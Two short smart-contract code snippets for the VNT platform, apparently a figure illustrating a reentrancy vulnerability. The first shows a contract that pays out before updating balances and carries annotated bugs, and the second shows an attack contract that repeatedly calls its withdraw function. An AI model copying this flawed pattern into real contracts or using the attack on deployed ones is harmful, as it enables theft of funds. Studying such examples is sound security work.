

```
1. #include "vntlib.h"
2. ...
3. void checkAmount(uint64 amount) {
4.     Require(U256_Cmp(amount, U256(0) == 1), "amount must > 0");
5.     address from = GetSender();
6.     accounts.key = from;
7.     uint256 balance = accounts.value.balance;
8.     PrintAddress("get sender:", from);
9.     PrintUint256T("get balance:", balance);
10.    Require(U256_Cmp(U256SafeSub(balance, amount), 0) != -1,
11.           ② "No enough money to bet");
12. }
13. void Withdraw(uint64 amount) {
14.     checkAmount(); // input empty or error
15.     address addr = GetSender();
16.     Uint256 balance = accounts.value.balance;
17.     if (balance >= amount) {
18.         TransferFromContract(addr, amount);
19.     }
20. }
21. $ _() {
22.     count++;
23.     if (count < 10) {
24.         withdraw(amount);
25.     }
26. }
```

```
1. # include "vntlib.h"
2. ...
3. CALL void withdraw(CallParams params, uint256 amount);
4.
5. void attack() {
6.     CallParams params = {Address("0xaaaa"), U256(10000),
7.                          100000}; // "0xaaaa" represents Vulnerable contract
8.     withdraw(params, 100);
9. }
```

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